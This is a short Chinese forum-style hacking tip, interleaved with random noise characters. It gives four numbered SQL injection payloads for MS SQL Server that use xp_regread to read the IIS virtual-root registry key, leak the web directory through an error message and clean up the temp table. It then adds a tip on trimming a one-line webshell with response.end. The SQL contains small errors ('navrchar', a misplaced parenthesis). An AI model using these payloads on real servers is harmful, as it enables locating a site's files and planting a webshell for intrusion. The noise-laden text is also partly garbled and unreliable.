1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表2 Z1 X3 W: `2 i6 G: P! E4 z8 p
, d$ R+ G5 @) L3 T
& j* i( u3 _) `* L& Q& B t
2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’-- 将网站目录插到表字段中
" B: |( _& d( L( \
8 M: }8 a$ s* t8 k. R
; H) `/ l* h9 Q& m( _ 3、and (select top 1 cast([data] as nvarchar(4000) char(124) from [jm_tmp] order by [data] desc)=0 ’//暴出字段: r% M, n( U7 a; }5 j+ f1 n
& R+ X& w: l& ]- s/ e
1 @) V% n* y6 n 4、drop table [jm_tmp]-- 删除此表。
* _' _4 j K1 u' f7 x+ L4 U5 Y
3 P; u' h2 _ S' `1 U
4 \! F" x6 O0 S8 A& ~2 G另附上备分专用一句话
/ ^. Y' ]8 q3 a9 C 加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.
: \3 t; P$ ?7 t; f |